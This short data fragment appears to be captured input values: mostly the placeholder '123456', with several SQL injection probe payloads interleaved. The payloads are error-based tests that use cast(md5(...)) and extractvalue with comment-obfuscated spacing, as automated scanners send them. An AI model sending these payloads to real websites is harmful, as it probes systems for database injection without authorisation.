123456'and(select'1'from/**/cast(md5(1577048276)as/**/int))>'0
123456
123456
123456/**/and/**/cast(md5('1192091112')as/**/int)>0
123456
123456
123456"and/**/extractvalue(1,concat(char(126),md5(1697129866)))and"
123456
123456
extractvalue(1,concat(char(126),md5(1740637488)))
123456
123456
123456
123456